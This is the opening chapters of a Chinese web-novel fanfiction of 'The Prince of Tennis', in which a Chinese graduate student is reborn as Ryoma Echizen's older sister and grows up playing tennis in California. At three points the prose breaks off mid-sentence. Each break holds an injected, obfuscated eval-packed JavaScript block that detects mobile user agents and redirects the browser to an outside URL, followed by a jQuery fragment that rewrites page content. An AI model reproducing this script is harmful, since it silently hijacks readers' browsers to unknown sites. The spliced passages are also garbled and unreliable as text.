《[网王]越前清和今天上钩了吗》 1. 这不对劲 陈清和今天很开心。 因为今天,是她博士论文发表会正式结束的日子。 就在刚刚,她收到了佐藤先生的邮件——她博士毕业的申请经由审查会的讨论之后,一致通过了。 也就是说,从这一刻起,她终于可以从反复推翻的设计草图、改到麻木的种植配置表,以及永远调整不完的作图细节中正式解脱! 作为一个资深的日区留子,陈清和决定,今晚要在饮食上狠狠地犒劳自己一把,一定要好好安抚一下自己这个已经靠速食泡面撑了大半个月的纯种中国胃。 她的手指在手机屏幕上不停地敲敲打打。 先是给自己安排了一杯到店自取的水果茶,紧接着熟练地预约了一家位于东京新大久保的超有名的中華料理店。 最后,还破天荒地打了一辆Uber。 真是完美。 站在路边等车的的时候,陈清和小声哼着不成调的旋律,手指灵活地在手机屏幕上点按、滑动,在绿泡泡与小粉书之间来回切换,情绪轻快得几乎有些不真实。 车很快就停到了她的面前。 陈清和在司机的斜后方坐定,车门缓缓合上,隔绝了街道的喧嚣。 她系好安全带,把手机屏幕重新点亮,顺手给远在国内的妈妈发了一个线条小猫亲亲的表情包。然后又点开小粉书,准备查一查新大久保那家店的推荐菜单。 车子缓缓启动,融入尚未达到晚高峰拥挤程度的车流。窗外的霓虹灯一盏盏划过,街景在车窗上映成流动的色块。 她靠在座椅上,后背终于放松下来,像是直到这一刻她才真正有了实感——那段被毕设、论文和截止日期填满的日子,已经结束了。 她的脑海里不受控制地开始规划起接下来的生活: 先睡个昏天黑地的懒觉,再慢慢把堆在一旁的闲书翻完。有空的时候去逛逛那些想去却一直没能去成的公园,带上速写本,画点真正能够让自己放松下来的东西。 等转签手续办妥,在正式入职新公司之前,或许还来得及回国一趟,陪陪父母,见见好久没见的朋友...... 这些想法零零碎碎,却着实让人心情愉悦。 车里播放着司机随手点开的音乐广播,音量不大,断断续续。 陈清和没太在意,只是顺着音乐的节奏,在心里轻快地打着节拍。 就在这时—— 尖锐的刹车声自正前方猛地刺入耳膜,轮胎摩擦地面的焦糊味瞬间钻进鼻孔。 下一刻,令人心脏骤缩的剧烈撞击便毫无预兆地袭来。 在意识到自己即将大难临头的上一秒,陈清和的大脑忽然一片空白。 视野翻转,天地倒悬。 恍惚间,陈清和只觉得自己的四肢正在急速缩水,整个人就像是一件被塞进洗衣机里的连体珊瑚绒睡衣,在高速旋转的脱水桶中被甩得七荤八素,神志不清。 眩晕与冲击一波接一波地推搡着她的意识。她索性两眼一闭,放弃抵抗—— ......大概是活不过今天了。 可如果真是这样的结局,那之前几个月熬过的夜、修过的图、改过的论文……又算什么?! 妈妈,我亏大了啊。 ...... ...... 再次睁开眼的时候,陈清和感觉事情的发展、似乎有些超出她的预期了。 她原本的预期,是自己再也不会睁开眼了。或者退一步说,自己也许会在浑身裹满绷带的情况下醒来。 再往更极端的方向想想,双目失明、缺胳膊少腿、甚至因为脑损伤严重而直接降智变成傻子的情况......也不是没有。 可现在......这又是什么状况? —— “Kiyona~~Ki——yo——na~~ 啊啦啦,醒了吗? 真可爱啊,我们清和正在跟妈妈挥小手手呢。” 一个陌生的年轻女人的面孔,陡然闯入陈清和的视野。 她笑的温柔极了。 傍晚柔和的阳光从她左侧的窗缓缓倾泻进来,斜斜地落在她的后背与侧脸上,将那一头柔软的栗色发丝映得闪闪发亮。 陈清和眼前的整个画面,仿佛都被罩上了一层色温极暖的柔焦滤镜,让人一时间分不清这到底是现实,还是尚未散去的梦。 女人一边笑着,一边伸出手,用她柔软的指肚轻轻点了点陈清和的脸蛋。 随着她的靠近,一缕混合着淡淡奶香的橙花气息轻轻拂过。 这股味道……莫名有些熟悉。 有点像妈妈的味道。 在陈清和愣神之际,女人已然动作轻柔地握住了她那只不知道在什么时候就已高高举起的小胖手,拉着她的手指左捏捏、右捏捏。 “怎么啦,小清和?在想什么呢?这么入神啊~ 真是个认真的好孩子呢。” 轻柔的声音再次在耳边响起。 陈清和这才意识到这位温柔的“姐姐”讲出口的,竟然是相当纯正的日语。 得益于她六年的留学生涯,陈清和的日语虽远称不上母语水平,但应付日常生活的常规交流完全不成问题。 于是,她几乎是毫无阻碍地就听懂了对方的话,甚至到刚才为止,她也并没有察觉到哪里不对。 她终于从那层作弊般的暖光滤镜中醒过神来。 陈清和此刻正观察着自己那两只明显缩小至人类幼崽规格的小肉胳膊和小肉手,大脑开始疯狂运转。 ......什么意思? 我是死了吗? 死了之后,然后又重新投胎了? 那不对啊。 为什么我还会有记忆? 而且——为什么是日本人?! 不是,就算我在日本待了那么些年,但、难道投胎的时候还会考虑生前环境的吗? 这是什么原理啊? “......” 陈清和满腹疑问堵在心头,但千言万语,最终也只能憋成一串沉默的省略号。 “什么嘛什么嘛!?这小娃娃怎么这么安静的?一点声音也不出??性格根本就不随我嘛,伦子。” 又是一道陌生的男声插了进来。 这声音中气十足,显得很有精神。 清和循声望去,这次映入眼帘的,是一张被晒得黝黑的亚洲年轻男人的脸。 男人凑得很近,伸出左手在她眼前认真地晃了晃,随即咧开嘴,冲她露出一排整齐得晃眼的大白牙。 深棕色的中长发被利落地束在脑后,琥珀色的眼睛里,闪烁着与伦子如出一辙的温和光泽。 他结实而流畅的手臂肌肉线条十分抢眼,手掌与指节处还能看见明显的陈年老茧。哪怕是不擅长运动的陈清和,也能大致推断出——这大概是个常年需要握拍的球类运动员吧。 “まあ、不过仔细想想,这样也算好事了。毕竟是小女孩嘛,哈哈哈哈哈。 要是性格和我一样的话,那可就不得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270133|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呢。” 在清和陷入思索的同时,男人正转头朝向伦子,笑得灿烂。 伦子轻笑了一声,语气里带着恰到好处的打趣: “如果清和的性格真像南次郎一样的话,那我大概每天都要担心邻居会不会来投诉呢。” ......总之,陈清和就是这样,以一种相当不讲道理的方式,来到了这个新世界。 并且很快,她便从这对年轻夫妻的对话中,得知了自己新的名字—— 越前清和。 Echizen Kiyona。 起初,在听到“越前”这个日本姓氏时,清和其实并没有产生什么特别的想法。 而在得知自己这位新爸爸的名字叫做“南次郎”的时候,她也同样没觉得哪里不对。 无非是一个普通的姓氏,加上一个看起来还算常见的名字罢了。 问题出现在将近两年后,她的新弟弟出生了—— “龙马~~ 龙——马—— 哈哈哈,真有精神呢!清和快看看,这是你的弟弟哦,他的名字就叫作龙马啦。 ” “越前——龙马——” 熟悉的场景再次上演。 柔和的夕阳笼罩着这间熟悉的卧室,伦子柔软的栗色长发在阳光之下依旧闪闪发光。她笑意盈盈,整个人散发着与两年前如出一辙的、耀眼的母性光辉。 被越前南次郎单手抱在臂弯里的清和,表情明显卡顿了一下。 她在脑海里,缓慢而又迟疑地画出了一个巨大的问号。 ......? 越前龙马? 难道是......那个越前龙马? 等等。 越前龙马。 越前......南次郎? 一盏悬浮在清和头顶的隐形灯泡,在闪烁了两三下之后,终于“叮”的一声亮了起来。 而存在于陈清和久远记忆深处的那本漫画,也在这一刻,缓缓翻开了序章。 清和只觉得自己的世界观,受到了比“车祸后带着记忆转生”这件事情更加猛烈的冲击。 她的表情就像是被人按下了暂停键,大大的墨蓝色眼睛微微眯成了两道细缝。 下一秒,她转过头,沉默地盯着那个一手抱着自己、一手来回拨弄着龙马、把人逗得吱哇乱叫而自己却又一脸兴奋的男人。 ……然后,又慢慢地,把视线移回了那个叫声洪亮、存在感十足的小不点身上。 嗯,虽然才刚出生没多久,头发还不算长,甚至看起来还有点油油的。 不过仔细观察的话,还是可以隐约分辨出他的发色。似乎就是动漫设定里那种偏蓝调的墨绿色。 小家伙此时正全力反抗着南次郎的恶作剧。 那双眼睛出乎意料地大,湿漉漉地瞪着他老爹,形状也异常眼熟。怎么看,都像是越前家祖传的那种猫眼。 这和漫画里的设定,也完全对得上。 ...... 清和第一次认认真真、仔仔细细地环视四周。 忽然发现在卧室的角落里,立着一只磨损痕迹相当明显的网球拍。 而透过那扇直视过去略微晃眼的窗户,居然也可以隐约窥见一角、被树影遮住的网球场。 ......好吧。 清和回过头,盯着那个仰躺在婴儿床中的新弟弟。 她几乎已经在那个小不点的头顶,幻视出了一轮正在缓缓升起、并闪着金光的—— 主角光环。 2. 童年与网球 其实清和对《网球王子》剧情的熟悉度并不是很高。 她之所以会知道越前龙马,多半要归功于她的发小,乔乔—— 一个长期沉迷于《网球王子》中那些运动系美少年的女人。 至于这个“长期”,究竟有多长呢? 大概要从初中开始算起,一直到清和离开那个世界时的二十八岁。 在那段并不算短的人生里,乔乔总能在恰到好处的时间点,滔滔不绝地提起网王中那些形形色色的人物,仿佛他们一直在与现实并行存在着。 虽然后来清和决定前往日本留学的原因之一,也确实是想为那个在童年时期就被二次元入侵过的中二之魂,圆一次迟到多年的梦。 只是同样作为青春燃烧的热血番,清和从前更喜欢像《犬夜叉》、《妖尾》和《家庭教师》那一类的作品。 运动题材,她反而看得不多。 或许只是因为,陈清和本人的运动天赋几乎等同于零吧。这导致她对于“运动”这件事情始终提不起多大的兴趣。 所以,当四岁的越前清和,第一次用她那小小的手,握起一只明显不对号的网球拍,然后被南次郎推着站上球场的那一刻—— 她心里属实有些无奈。 ...... “来!小清和,试试看!把那个黄色小球打回来!” 南次郎站在球网另一边的对角处,朝她挥舞着球拍。 这样的距离,让清和有些看不真切南次郎的表情。 但她仍能感觉得到,此刻的他,似乎与平日里那副吊儿郎当、略显猥琐的模样是完全不同的。 真是两模两样的呢。 居然透出了一点难得的清爽。 下一秒,黄色小球就在空中划出一道柔和的弧线,被稳稳地抽击到清和这一侧的球场内。 球速并不快,落点也并不刁钻,正好是清和只要举起球拍,就能够勉强够到的位置。 清和明白,这是南次郎对他年仅四岁的女儿,称得上是最贴心的关照了。 她尝试着挥舞球拍。 击球的瞬间,清晰而结实的击打感自球拍的网面传来,有些重。 一道黄色的弧线快速飞回到对面的球场。 “Nice catch!!干得好,小丫头!不愧是我越前南次郎的女儿!” 南次郎的声音陡然拔高,兴奋感几乎都要溢到清和的面前了。 击球一来一回。 斜阳懒懒地洒在球场四周的草地上,草叶间残留的水珠折射出柔和的光。 微风拂过,不远处橘子树的树影轻轻晃动,空气中浮动着一丝清新的植物香气。 在接球的间隙,越前南次郎感到有些意外。 他并不是惊讶于清和能把球打回来。而是她挥拍的动作,正在以一种几乎无需纠正的方式变得越来越顺畅。 ——不错嘛! 哈哈哈哈哈哈哈。 而清和本人更加意外。 她惊讶地发现,自己这具年幼而陌生的身体,在奔跑与挥拍之间,居然没有她记忆中的那种迟钝与不协调。 动作与动作之间能够自然衔接上的感觉,是她过去从未在自己身上体验过的东西。 直到她的肩膀开始沉重,手肘变得越来越难以灵活对应,双脚也像是绑满了沙袋,她才停下击球的动作。 黄色小球擦过她被汗水打湿的发丝,弹到了身后。 她站在原地,微微喘着气。 一种难以言喻的舒爽,紧跟着她疲惫的步伐,慢慢涌上心头。 ......原来,这就是网球的世界吗? >>>> 从她第一次出现在这个世界开始,到六、七岁为止。这段时间,对于清和来说,并不是一条平和向前流动着的线。 时间像是被拉得很慢、很慢的东西。 稠密、迟缓,带着某种近乎粘稠的质感。 她被包裹在其中,无法快步略过,只能任由思绪在脑海里一圈、一圈地游走。 她反复回忆着自己原本那条再普通不过的成长轨迹,试图从中翻找出自己出现在这个世界的理由。 可惜,一无所获。 啊,也不是完全的一无所获。 至少,她意识到了思念的重量, 是很重很重的。 ...... “Kiyona!Ki—yo—na——” 一串逐渐清晰的音节,就这样毫不讲理地闯进了清和的思绪。 这是她现在的名字。 “你想什么呢,清和?! 真是的,这可是在球场上!” 南次郎站在球网处跺脚,一边用力地拍着手掌,一边朝她不满地叫嚷着。 确实,此刻的她正站在球场一侧。 该轮到她发球了。 “抱歉抱歉,一不小心就走神了!” 清和晃了晃脑袋,鬓角的碎发随之轻轻摇摆。 她带着点歉意地笑了笑。右手将黄色小球向上抛起,左臂带动手腕顺势挥拍,将球送了出去。 “哈哈哈哈哈哈哈,什么嘛。” 南次郎一脸坏笑,对另半边的龙马呲着牙,朝清和的位置努了努下巴:“小不点,听到了吗?你姐姐这是在嫌弃你水平太次呢。” “别胡说,我才没有。” 清和在击球的间隙不忘回嘴。 龙马握着球拍的手指微微收紧,双脚不自觉朝两侧微微挪动了一点,显得站姿更加扎实了。 “......姐姐,我一定会努力的!” 在那颗黄色的小球弹起之时,他的视线追得比刚才还要紧些。 这个时候的龙马,年仅四岁。 是与清和在两年前第一次接触网球时差不多的年纪。 即便如此,他身上也已经隐约显现出了一点在后来才会变得明显的倔强与坚定。 明明长着一副可爱的正太脸,神色倒是格外认真呢。 一顶明显不合头围的白色鸭舌帽被歪歪斜斜地倒扣在他的脑袋上。 嗯......也不知道他是从哪个旧物箱里翻出来的。 小小的身影在球场上来回奔跑,跑动与接球的衔接还有些不大流畅,但他始终没有停下来过。 清和远远看着龙马认真奔跑的模样,忍不住嘴角上扬。 “嗯,我已经看到啦。” >>>> 在那之后的日子,感觉并没有什么不同。 球场、夕阳、橘子树,还有南次郎毫不收敛的笑声,一次又一次地重复着。 龙马又长高了一点。 身为律师的伦子总是很忙,几乎每天都早出晚归。但在她注意到龙马总是戴着那顶尺寸不合的旧帽子之后,还是替他买了一顶新的。 这下看起来清爽多了。 这时清和忽然想起来,龙马的跟屁虫属性,大概从他刚刚学会走路的时候就开始有所体现了。 这几年,不论她准备做些什么,只要一回头,就总能看到龙马跟在身后。 从最初的跌跌撞撞,到后来脚步逐渐变得平稳。 一向不擅长和小孩子相处的清和觉得,龙马其实还挺可爱的。 大多数时候,他只会起到一个陪伴的作用,并不吵闹。就算开口,多半也只是用他软软糯糯的声音,提出几个简短的问题。 在得到清和的回答之后,他往往会若有所思地点点头,然后要么接着追问,要么就干脆抿起嘴巴,不再出声。 清和偶尔也会故意逗逗他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270134|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着龙马因为一时想不出反驳的话而逐渐涨红的脸,又或者是被气到鼓起脸蛋。清和经常一边按捺住自己“欺负”小孩子的羞耻感,一边却又忍不住暗爽。 摸一摸龙马炸毛的头,戳一戳他河豚似的腮帮子。 ......我是不是有点过分? 但是真可爱啊。 这些无关痛痒的小事时有发生,却也正是在这样的日子里,清和慢慢开始对这个世界产生了一点点真切的牵绊。 >>>> 加州的阳光总是很好,尤其是下午临近傍晚前的那一段,清和最喜欢。 这个时间,她几乎都会和龙马一起待在后院的网球场。 美名其曰自主练习,但其实大多数时候,都是龙马一个人在认真地挥拍。 而清和则是坐在一旁的树荫下,要么随手在速写本上勾两笔树影和球场的线条,要么就是翻看着各式各样的书。 她偶尔也会抬头看一眼龙马的站位与挥拍节奏,然后再低头继续自己的事情。当然,她也会时不时地提点一两句小不点的动作,又或者是出于心虚,下场和龙马打一阵子球。 但绝大多数时间,她都是安静地待在树荫下,仿佛整个人被阳光和影子一同按住了。 清和早就和龙马约定好了,这是他们两个人的秘密: 不能告诉爸爸,姐姐总是在练球的时间偷偷看书和画画。 姐姐告诉他,看书和画画比打球有意思。 但他不太明白,他还看不太懂字。 画画倒是看得懂一点,可姐姐画的总是树啊光啊影子啊这些,他也分不太清。 他觉得打球最好玩了。 姐姐还说,只要他答应每天陪她在球场这边待上三个小时,她就教自己打老爸那招超级厉害的外旋发球。 虽然他不知道三个小时到底有多长,但这应该不难。 谁叫他本来就喜欢和姐姐待在一起呢。 ...... 这天,依旧是在那段秘密的时间里。 南次郎牵着一个瘦瘦高高的小男孩,从房子的转角处出现。 “喂喂喂!!越前清和!? 练习时间你这小鬼在干什么呢?你平时就是这么光明正大地偷懒吗??” 人还没走近,声音却已先一步炸开。 南次郎简直不敢相信自己的眼睛。 他就说这一年多以来,清和怎么像是突然转了性子一样,居然愿意主动拖着龙马那小子好好练习。 他原本还为此感到欣慰。 结果呢?? 原来只是拿龙马当幌子,好让自己名正言顺地偷懒?! “啊!糟糕糟糕,暴露了......” 树荫下的清和猛地一抖,下意识合上了书。 她手忙脚乱地将散落的书本和文具袋码放整齐,随即便抓起立在树干旁的球拍,快步跑到龙马身边站定。 等她站稳时,南次郎已经带着那个小男孩站在了她和龙马面前。 南次郎翻了个十分正宗的大白眼,用空着的手掌,在清和圆滚滚的脑袋上狠狠揉搓了几把,像是一场无奈的泄愤。 看着女儿原本还算整齐的头发在自己的破坏下彻底炸成一团,他终究还是把那几句教训的话咽了回去。 “......这次就算了。” 他叹了口气,将一直牵在左手的那个男孩,往前轻轻送了一步。 瘦高的身形,夏威夷风短袖衬衫略显旧色的衣角,以及一张神色自若的脸。 男孩就那样站在那里,视线在清和与龙马的身上停留了一会儿,像是在确认什么似的,随即便扬起了嘴角。 “清和、龙马。 这是越前龙雅。 从今天起,他就是你们的哥哥了。” 3. 越前龙雅? 越前龙雅这人,远比清和想象的还要神秘。 在龙雅第一次以家人的身份加入这里的那天晚上,她仔仔细细地回想了两三遍乔乔曾经给她科普过的那些网球王子们。 愣是没有想起一丁点有关于越前龙雅的信息。 她很疑惑。 这人究竟是从哪里冒出来的? 不过想想她自己,又觉得纠结这件事情好像也没有什么意义。 话虽如此,第二天早上,清和还是顶着两坨大大的黑眼圈出现在了餐桌上,引来了全家人的注目。 “啊啦,清和昨晚是没有睡好吗?” 伦子将一盘配了两片生菜的吐司煎蛋放在清和面前,蹙眉询问。 “嗯...在想一些事情。” 清和点点头,接过龙马递过来的刀叉,给出一个语焉不详的回答。 南次郎懒散地坐在清和的斜对面,一条腿膝盖折起,脚掌随意地踩在那美式田园风格的椅子上。 他面前的餐具歪歪斜斜,桌面上还零星散着几处食物残渣。整个人的画风,显得与这间恬静平和的餐厅格格不入。 他一边剔牙,一边坏笑着调侃道: “什么什么? 难道小清和是到了少女思春的年纪了吗?” 清和无语地斜了一眼南次郎。 “......爸爸,我今年才刚满七岁。” 她特意把重音落在了句末。 南次郎不打网球时吊儿郎当的样子,还有时不时就会冒出的三两句不着调的玩笑话,总能精准地激发出清和想要回几句嘴的冲动。 “什么是思春?” 龙马眨巴着他那双圆滚滚的大眼睛问道。 “哈哈哈哈,等你长大就知道了,小不点!” 坐在他身边的龙雅适时放下了餐具,赶在南次郎明显兴致大发、准备大讲特讲之前,开口打断了这个奇怪的话题。 他摘下龙马的帽子,顺手在他头顶上胡撸了几把,直到看见龙马的表情从错愕开始转向为不满后,才干脆地收手。 他一把揽过龙马肉乎乎的小肩膀,又伸手拍了拍清和的后背,爽朗地笑道: “快点吃!吃完我们一起出去玩吧!” “啊,好呀。” 清和愣了一下,随即便加快了咀嚼的速度。 这小孩儿还真是自来熟。 清和在心里嘀咕了一句。 在伦子“慢点、慢点吃”的轻声提醒下,她三下五除二便将盘子里的食物通通解决掉了。 “さあ!行こう!(* 快!走吧!)” 话音刚落,龙雅已然站起身来。他一手拉住一个,径直往屋外跑去。 清和只觉得手心一热,带着些许粗粝的触感。她微微踉跄了几步,跟上他的节奏。 “不要跑得太远哦。” 伦子不放心的叮嘱自三人的身后传来,很快便被拉成了一段渐远的声音。 >>>> 越前家的后院还算大,连着隔壁那位美国大叔家的果树庄园。靠近越前家的这一侧,几乎种满了橘子树。 就连他们家后院的那两棵,也是在南次郎夫妇搬来的那一年,从庄园那边移植过来的新迁贺礼。 穿过庄园再往不远处走走,就是海岸了。 那是前世的陈清和从未到达过的太平洋彼岸。 好远啊。 不只是路程的距离。 ...... “......话说回来,你到底是从哪里冒出来的啊,龙雅?” 他们三个人仰躺在离海岸不远的草地上。 上午时分柔和的阳光随着一块块缓慢飘过的厚厚云团而变得忽明忽暗。 清和终于还是问出了口。 她实在太好奇了。 大人们似乎总是默认小孩子听不懂那些过于复杂的事情,于是索性选择不解释。而且清和很清楚,他们其实也并没有义务将事情的来龙去脉费劲吧啦、一五一十地讲给她听。 所以,对于越前龙雅这个人,清和依旧一无所知。 “啊哈哈哈,我吗? 我是从石头里蹦出来的!” 龙雅笑地开朗,脑门上刻着一个明显大写加粗的“我在胡扯”。 他抬起手,指了指海岸边一处棱角分明的大石堆。像是想要印证自己说的就是真话一样,他扬着下巴,语气肯定: “就是那种石头。” ...... 哦? 是吗? 更神秘了。 “......这样啊。” 清和咽下了直逼嘴边的吐槽,敷衍地应了一声。 慢着。 他这胡扯八扯的感觉怎么好像有些熟悉? 龙雅脸侧飞扬的发丝,与南次郎额前那两缕不羁的碎发逐渐重合。 清和的脑子里浮现出了一个大胆的猜想。 纷乱的线头就像是系上了两块磁铁一样,“咔哒”一声、搭上了扣。 难不成—— 这小子是越前南次郎的私生子?! 龙马、龙雅—— 这两个名字,任谁听了都会以为他们是同宗同源的亲兄弟吧! 不过这事儿,伦子知道吗? ...... 突如其来的隐秘八卦,瞬间点燃了清和久违的吃瓜兴致。 乔乔要是知道,她的本命越前龙马居然还有个私生子哥哥,她大概会震惊到当场失语,然后再大骂许斐刚不做人......吧? 想到这里,清和的心湖忽然翻起波浪。 她利落地翻了个身,从仰躺切换成了双手托着下巴的趴姿。她眯起眼睛,灼热的目光在龙雅和龙马的脸上来回游走,摆出一副势要从中揪出点蛛丝马迹的架势。 龙马被暖洋洋的阳光包裹着,正昏昏欲睡。 但偏偏有那么一道似乎比阳光还要闪耀的东西,时不时就晃他一下,硬是把他从半梦半醒间给晃醒了。 他睁开那双半眯着的琥珀色猫眼,黏黏糊糊地嘟囔道:“怎么了,姐姐?” “没事没事,你继续睡吧。” 盯—— ———— 龙雅被清和盯得有些后背发毛。 “你这是什么眼神......?” 他略显尴尬地坐起身来,忍不住伸出手挡住了清和发烫的目光,讪讪地开口。 一股带着泥土气息的青草味扑面而来。 清和听到男孩原本清脆爽朗的语调似乎低沉了几分。 “......刚才是我瞎说的啦。” 龙雅移开手掌,在确认清和的眼神已经成功刷新、恢复正常之后,便转过头,望向远处泛着粼粼波光的海面。 他似乎有话没说完。 海风温柔地吹过,草叶摩擦出细碎的声响。 嗯? 这氛围...... 清和正襟危坐,竖起了耳朵。 ...... 片刻,龙雅轻声开口,语调慢慢变得平缓起来: “我爸爸、是南次郎叔叔的哥哥。” “我们以前不住在洛杉矶。我也不知道那地方叫什么,反正看不到海。” 他想了想,又轻快地补充了一句:“不过我还挺喜欢那里的,至少树很多。我喜欢爬树,而且我绝对是我们社区小孩里的爬树No.1!” “前段时间,老爸和老妈总是吵架。 具体原因我也不清楚啦,只是感觉他们的关系,好像突然之间就变差了。” “有一次我还听妈妈提到了什么.....好像是‘离婚’、这个词吧。我感觉这不是什么好词。 因为他们看起来都很难过。” 龙雅的声音顿了一拍,但很快又笑了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270135|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过没多久,南次郎叔叔就来了!虽然我也是第一次见他,但他就是莫名其妙对我胃口! 而且他网球打得真的超——厉害!!” “我也会打网球!老爸教我的。 不过嘛、我觉得南次郎叔叔的水平比我爸他强多了,哈哈哈哈哈。” “所以老妈问我要不要跟南次郎叔叔一起住一段时间的时候,我一下子就答应了!” “再说了,这里还有你们这两个小不点,感觉应该会很有意思!” 说到这里,他忽然侧过头来。 海风从他的身边路过,调皮地拨弄着他天蓝色的衣摆。 他的笑容慢慢扩大、飞扬。 “对了,清和。” “听南次郎叔叔说,你网球打得不错?” “要不要来比一场?!就现在。” 这一次,轮到龙雅用他那双亮得惊人的眼睛直直地盯回给她了。 ? “......” 清和陷入了短暂的沉默。 她那点熊熊燃烧的八卦之魂,其实早在闻到那阵扑鼻的青草香时就已经被浇熄了大半。 然后越听,心情就越沉重。 ......我真该死啊。 怎么哪壶不开提哪壶。 她的大脑CPU正飞速运转,颅内疯狂地模拟着各种可能的回应方式。 于是,在她后知后觉地捕捉到“网球”、“比一场”之类的关键词时,才发现自己好像脑补得有些过头。 她的主机出现了明显的卡顿,风扇开始“呼呼”作响。 她歪着头,若有所思地回望着龙雅那双明亮的眼睛。 他的瞳色好像比龙马的还要深上一些? ......这么亮,视力肯定很好吧。 啊不对。 想什么呢。 他刚才是......想邀请我打网球来着? 可是太阳这么大,打球很累的耶...... 要拒绝吗? 嘶、不太好吧。 他才刚刚吐露了那些事情。如果我在这个节骨眼儿上拒绝,会不会让他误以为我不欢迎他? 不行,得再想想。 ...... ...... 没过多久,清和终于斟酌着开口了。 “......这、这有点突然。” 她语气一顿,紧接着又解释道:“我们都还没热身,很容易受伤的。” 主机风扇终于安静下来。 她眨了眨眼。 “龙雅,你喜欢吃橘子吗?” “要不......我们去爬树摘橘子吃,怎么样?” 转移注意力的最佳方式,就是提出一个可行性更高的新方案! 清和觉得这把应该稳了。 果然—— “好啊!我喜欢! 走走走,我们现在就去!” 龙雅的眼睛似乎在一瞬间变得更亮了。 他一个翻身跃起,原地蹦跶了两下,抖掉一屁股的草屑,显然一副兴致盎然、跃跃欲试的样子。 而另一边,龙马早就在刚才那段略显低沉的叙述里睡了过去。直到耳边忽然响起了一道重新充满活力的声音,他才恰到好处地醒了过来。 龙马揉着眼睛,迟疑地坐起身,一脸状况外:“去哪儿?干嘛?” 清和噗嗤一下笑出声来,笑意沿着弯起的嘴角慢慢漾开。 她向龙雅伸出手,借力起身。 被压趴的草叶在她身后重新合拢。 清和又顺手把迷迷糊糊的龙马也提溜起来,替他拂掉粘在身上的草屑、整理好他歪掉的帽子。 她轻轻拍了拍龙马被阳光烘晒过的头顶,暖洋洋的温度自指腹传来。 她语调轻快: “走吧,我们去摘橘子。” 4. 少年骑士 即将步入小学的清和有些头痛。 她身为一个曾经长期滞留于岛国的中国人,如今却转生成为了一名举家生活在美利坚土地上的日本小孩…… 成分着实有些复杂。 她有预感,自己的语言中枢系统绝大概率会迎来一场史无前例的挑战。 她从未想过,自己居然也可以拥有三种母语。 ……荣幸之至。 然而,在学校之旅正式开启之后,她很快就发现,现实情况似乎并没有自己想象中的那么复杂。 都说童年时期是语言系统最活跃的阶段。看来这话确实不假。 清和隐约感觉,自己脑子里有关于【中文】、【日文】和【英文】的体系,正在天然有利的语言环境中,被逐渐具象成了三条各自延伸着的平行线,清晰、独立,且互不干扰。 真是可喜可贺。 语言,至少现阶段,将不再是阻挠她探索新世界的最大难题! 学校的图书室很快就变成了她新的蜜罐。 翻着翻着,她才意外发觉原来这个世界的文学作品竟与她从前的世界有着相当大的重合。那些曾经由中文翻译勾勒出的画面,如今却换了一种语言,以英文的形式重新在她的脑海中一一浮现。 仿佛两个世界原本就共享着同一套隐秘的叙事。 这真是个令人欣慰的发现。 不过这个念头才刚一浮现,便不受控制地向前滑歪了一小步—— 清和的脑海里开始不合时宜地闪现出一些《最强大脑》中的学富五车、博闻强识的天才选手们——都被等比替换上了她自己的脸。 ……这可太诡异了。 她自己都忍不住想笑。 她赶忙挥散那些奇奇怪怪的联想,却还是隐约感受到了那么一丢丢不太光彩的从容与余裕。 >>>> 清和的小学生日常平淡如湖水。 她尽可能地避免了大部分需要与同龄人相处的场合。那些精力无限的小孩子们,总能让她不自觉地联想起前世里她最不擅长应对的那类人:吵闹、黏人、情绪翻云覆雨。 对她而言,这种大多总是浮于表面的交流,实在谈不上有什么意义。 而且清和并不觉得一个人有什么无聊的,她有许多可以做的事情。 直到有一天,她迎来了一件令她始料未及的事情—— “越前同学。” 课后,清和被她的主班老师史密斯女士叫住了。 “可以在方便的时候,请你的父母来学校一趟吗?有一些事情,我想和他们聊一聊。” “这周,或者下周都可以。 可以请越前同学帮忙转达一下吗?” 老师的语气要比平时更加温和一些,可清和却觉得这句话里似乎还藏着些别的什么。 她一时没能反应过来。 ……什么意思? 请父母来学校一趟? 这、这是请家长的意思吗? 从前在中式校园中成长起来的清和,十分久违地重温了两秒那种蚂蚁爬上大脑皮层的紧张感。 可是为什么? 没道理啊。 毫不夸张的说,她认为自己几乎可以算得上是整个加利福尼亚州立圣尤斯小学里最让人省心的学生了。 究竟是出了什么问题呢。 …… 她犹疑地应了下来。 回家的路上,她在脑海中事无巨细地过了好几遍自己自从入学以来的所作所为,但并没有觉得哪里不对。 清和依旧疑惑不已。 …… 几天之后,一个晴朗的下午,南次郎和伦子罕见地端坐在一间临窗的会谈室里,神情都显得有些拘谨。 茶几上放着两杯正冒着热气的红茶,氤氲的水面在阳光下映出窗外一角模糊的树影。 